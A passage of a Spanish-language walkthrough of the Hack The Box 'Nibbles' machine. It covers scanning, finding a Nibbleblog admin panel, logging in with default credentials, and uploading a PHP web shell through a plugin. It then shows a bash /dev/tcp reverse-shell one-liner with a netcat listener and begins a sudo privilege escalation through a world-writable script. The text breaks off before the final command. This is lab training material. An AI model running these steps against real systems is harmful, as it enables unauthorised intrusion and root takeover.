PING 10.10.10.75 (10.10.10.75) 56(84) bytes of data.
64 bytes from 10.10.10.75: icmp_seq=1 ttl=63 time=168 ms
--- 10.10.10.75 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 168.273/168.273/168.273/0.000 ms
Podemos notar que se trata de una maquina Linux, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
# Nmap 7.95 scan initiated Wed Feb 26 01:22:39 2025 as: /usr/lib/nmap/nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv -oN escaneo.txt 10.10.10.75
Nmap scan report for 10.10.10.75
Host is up, received user-set (0.17s latency).
Scanned at 2025-02-26 01:22:40 -03 for 27s
Not shown: 65479 closed tcp ports (reset), 54 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9KAtWltmk3qm4oc=
| 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 26 01:23:07 2025 -- 1 IP address (1 host up) scanned in 28.05 seconds
Vemos que esta corriendo el puerto 22(OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)) correspondiente a un servidor SSH, el puerto 80(Apache httpd 2.4.18 ((Ubuntu))) correspondiente a un servidor web
Tambien el sistema operativo Linux que se encuentra corriendo en la maquina objetivo es un Ubuntu
Ahora vamos a ir al recurso del servidor web que esta comentado donde nos dice que no hay nada interesante :)
"http://10.10.10.75/nibbleblog/"
1.5 Fuzzing
En este caso el Fuzzing lo vamos a realizar con la herramienta "dirb" con la URL del recurso que encontramos dentro del codigo fuente "http://10.10.10.75/nibbleblog/" :
dirb http://10.10.10.75/nibbleblog/
Ejecutamos:
┌──(root㉿t0mz)-[/home/kali/ctf/nibbles]
└─# dirb http://10.10.10.75/nibbleblog/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Feb 27 02:42:48 2025
URL_BASE: http://10.10.10.75/nibbleblog/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.75/nibbleblog/ ----
==> DIRECTORY: http://10.10.10.75/nibbleblog/admin/
+ http://10.10.10.75/nibbleblog/admin.php (CODE:200|SIZE:1401)
==> DIRECTORY: http://10.10.10.75/nibbleblog/content/
+ http://10.10.10.75/nibbleblog/index.php (CODE:200|SIZE:2987)
==> DIRECTORY: http://10.10.10.75/nibbleblog/languages/
==> DIRECTORY: http://10.10.10.75/nibbleblog/plugins/
+ http://10.10.10.75/nibbleblog/README (CODE:200|SIZE:4628)
==> DIRECTORY: http://10.10.10.75/nibbleblog/themes/
---- Entering directory: http://10.10.10.75/nibbleblog/admin/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.75/nibbleblog/content/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.75/nibbleblog/languages/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.75/nibbleblog/plugins/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.75/nibbleblog/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Thu Feb 27 02:56:19 2025
DOWNLOADED: 4612 - FOUND: 3
Dentro del fuzzing, podemos ver directorios intersantes de la aplicación web de Nibbleblog como "plugins", "themes" y "content", tambien se puede ver un directorio de "admin" y "admin.php"
Vamos a revisar el directorio en concreto de "admin.php":
Ya tenemos un panel de login para la administración de Nibbleblog
2- Explotación
2.1 Searchsploit de Nibbleblog
Si revisamos la pagina web, podemos ver que se trata de una tecnología web o un gestor para crear blogs de forma automatica:
"Powered by Nibbleblog", vamos a buscar con la herramienta "searchsploit" de Kali, si existe alguna vulnerabilidad
Tenemos 2 vulnerabilidades, una para subida de archivos arbitraria y para SQL Injections
2.2 Credenciales predeterminadas de Nibbleblog
Si vamos al panel de login de administración de Nibbleblog, luego de una investigación, me di cuenta que las credenciales por default de la tecnologia web de Nibbleblog es:
Usuario: admin
Password: nibbles
Probemos las credenciales:
Login:
2.3 Reverse shell con PHP malicioso
Si nos vamos al apartado de "plugins" dentro del panel de administración de Nibbleblog, veremos un plugin llamado "My image":
Entramos en la configuración del plugin:
Podemos subir un archivo malicioso de PHP, ya que como vimos anteriormente, esta tecnología web esta escrita sobre PHP, en mi caso, el código que utilizare para el archivo malicioso PHP, utilizare el siguiente:
Parece que da unos errores, pero se subio correctamente:
Ahora si vamos al directorio "content":
http://10.10.10.75/nibbleblog/content/
Vamos al directorio "private":
Ahora al directorio "plugins".
Tenemos ubicado los plugins dentro de los directorios del servidor web, como el php malicioso lo subimos dentro del plugin de "my_image" vamos a entrar dentro del mismo:
Aparentemente nos cambio el nombre del archivo php malicioso a "image.php", asi que vamos entrar al archivo "image.php" y vamos a cambiar el parámetro "?cmd=", de tal manera que la URL para ejecutar comandos, nos quedaria asi:
En nuestro caso probaremos con el comando "whoami":
Ahora vamos a obtener una reverse shell dentro de nuestro Kali mediante este archivo php malicioso que subimos, asi que vamos a abrir una nueva consola en Kali y nos vamos a poner en escucha con netcat por el puerto 443:
┌──(root㉿t0mz)-[/home/kali/ctf/nibbles]
└─# nc -nlvp 443
listening on [any] 443 ...
Y el comando que vamos a utilizar que vamos a utilizar como parametro dentro del archivo PHP malicioso, es el siguiente:
bash -c 'bash -i >& /dev/tcp/{IP}/443 0>&1'
Pero recordemos que como estamos en un ambiente web de hacking y este comando lo vamos a ingresar en una URL, hace falta encodearlo, en mi caso lo encodeare con Burp Suite, de tal manera que en mi caso, con mi dirección IP de la VPN de Hack The Box:
De tal manera que con mi IP de VPN de HTB quedaría de la siguiente manera:
Vamos a poner la URL dentro del navegador Firefox:
Se quedara cargando, pero si vamos a la consola de Kali, donde estábamos en escucha con netcat por el puerto 443:
┌──(root㉿t0mz)-[/home/kali/ctf/nibbles]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.75] 58668
bash: cannot set terminal process group (1336): Inappropriate ioctl for device
bash: no job control in this shell
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$
Ya tendremos acceso a un usuario llamado "nibbler" de la maquina
2.4 Obtención de la flag de usuario
La flag de usuario se encuentra dentro de la ruta absoluta "/home/nibbler/user.txt":
Para verificar los permisos que tenemos con el usuario "nibbler", utilizamos el comando "sudo -l":
nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$
3.2 monitor.sh
Vemos que dentro del usuario "nibbler", tenemos permisos para ejecutar el script en bash "monitor.sh" como si fuésemos usuario root, vamos a ver el código que contiene este script en bash con el siguiente comando:
nibbler@Nibbles:/home/nibbler$ cat /home/nibbler/personal/stuff/monitor.sh
cat /home/nibbler/personal/stuff/monitor.sh
cat: /home/nibbler/personal/stuff/monitor.sh: No such file or directory
nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ cat /home/nibbler/personal/stuff/monitor.sh
cat /home/nibbler/personal/stuff/monitor.sh
cat: /home/nibbler/personal/stuff/monitor.sh: No such file or directory
nibbler@Nibbles:/home/nibbler$
Parece que el script "monitor.sh" esta comprimido, si vamos a la carpeta personal del usuario "nibbler", veremos que tenemos un archivo ".ZIP":
nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip
user.txt
nibbler@Nibbles:/home/nibbler$
Vamos a descomprimir el archivo "personal.zip" que esta relacionado con la ruta del script que podemos ejecutar como si fuésemos root, para eso utilizaremos el comando "unzip":
nibbler@Nibbles:/home/nibbler$ ls
ls
personal
personal.zip
user.txt
nibbler@Nibbles:/home/nibbler$
Vamos a la carpeta "personal" y listamos los directorios:
nibbler@Nibbles:/home/nibbler$ cd personal
cd personal
nibbler@Nibbles:/home/nibbler/personal$ ls
ls
stuff
nibbler@Nibbles:/home/nibbler/personal$
Vamos al directorio "stuff" y listamos los directorios:
nibbler@Nibbles:/home/nibbler/personal$ cd stuff
cd stuff
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls
ls
monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$
Ya tenemos el archivo "monitor.sh", ahora vamos a ver que contiene dentro:
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
cat monitor.sh
####################################################################################################
# Tecmint_monitor.sh #
# Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/ #
# If any bug, report us in the link below #
# Free to use/edit/distribute the code below by #
# giving proper credit to Tecmint.com and Author #
# #
####################################################################################################
#! /bin/bash
# unset any variable which system may be using
# clear the screen
clear
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
while getopts iv name
do
case $name in
i)iopt=1;;
v)vopt=1;;
*)echo "Invalid arg";;
esac
done
if [[ ! -z $iopt ]]
then
{
wd=$(pwd)
basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname
scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname)
su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo "Installation failed"
}
fi
if [[ ! -z $vopt ]]
then
{
echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License"
}
fi
if [[ $# -eq 0 ]]
then
{
# Define Variable tecreset
tecreset=$(tput sgr0)
# Check if connected to Internet or not
ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected"
# Check OS Type
os=$(uname -o)
echo -e '\E[32m'"Operating System Type :" $tecreset $os
# Check OS Release Version and Name
cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease
echo -n -e '\E[32m'"OS Name :" $tecreset && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\"
echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\"
# Check Architecture
architecture=$(uname -m)
echo -e '\E[32m'"Architecture :" $tecreset $architecture
# Check Kernel Release
kernelrelease=$(uname -r)
echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease
# Check hostname
echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME
# Check Internal IP
internalip=$(hostname -I)
echo -e '\E[32m'"Internal IP :" $tecreset $internalip
# Check External IP
externalip=$(curl -s ipecho.net/plain;echo)
echo -e '\E[32m'"External IP : $tecreset "$externalip
# Check DNS
nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}')
echo -e '\E[32m'"Name Servers :" $tecreset $nameservers
# Check Logged In Users
who>/tmp/who
echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who
# Check RAM and SWAP Usages
free -h | grep -v + > /tmp/ramcache
echo -e '\E[32m'"Ram Usages :" $tecreset
cat /tmp/ramcache | grep -v "Swap"
echo -e '\E[32m'"Swap Usages :" $tecreset
cat /tmp/ramcache | grep -v "Mem"
# Check Disk Usages
df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage
echo -e '\E[32m'"Disk Usages :" $tecreset
cat /tmp/diskusage
# Check Load Average
loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}')
echo -e '\E[32m'"Load Average :" $tecreset $loadaverage
# Check System Uptime
tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,)
echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime
# Unset Variables
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
# Remove Temporary Files
rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage
}
fi
shift $(($OPTIND -1))
nibbler@Nibbles:/home/nibbler/personal/stuff$
Es un script para monitorear el sistema operativo que esta corriendo sobre la maquina objetivo
Ahora vamos a ver mas específicamente que permisos tenemos sobre este script con el comando "ls -la":
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -la
ls -la
total 12
drwxr-xr-x 2 nibbler nibbler 4096 Dec 10 2017 .
drwxr-xr-x 3 nibbler nibbler 4096 Dec 10 2017 ..
-rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$
Tenemos permisos de todo tipo para ejecutar este script, asi que vamos a cambiar el contenido de este script para elevar los privilegios, para eso vamos a reemplazar el contenido del archivo "monitor.sh", vamos a utilizar el comando "echo" y el comando que utilizaremos para reemplazar el contenido del archivo es "su -", de tal manera que el "echo" que vamos a utilizar es: